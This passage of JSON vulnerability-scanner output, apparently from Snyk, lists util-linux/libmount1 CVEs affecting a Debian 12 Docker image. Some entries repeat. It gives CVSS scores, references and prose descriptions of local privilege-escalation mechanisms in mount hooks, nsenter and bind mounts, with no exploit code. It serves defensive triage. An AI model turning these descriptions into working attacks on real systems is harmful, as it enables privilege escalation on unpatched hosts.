[https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libmount1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libmount1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
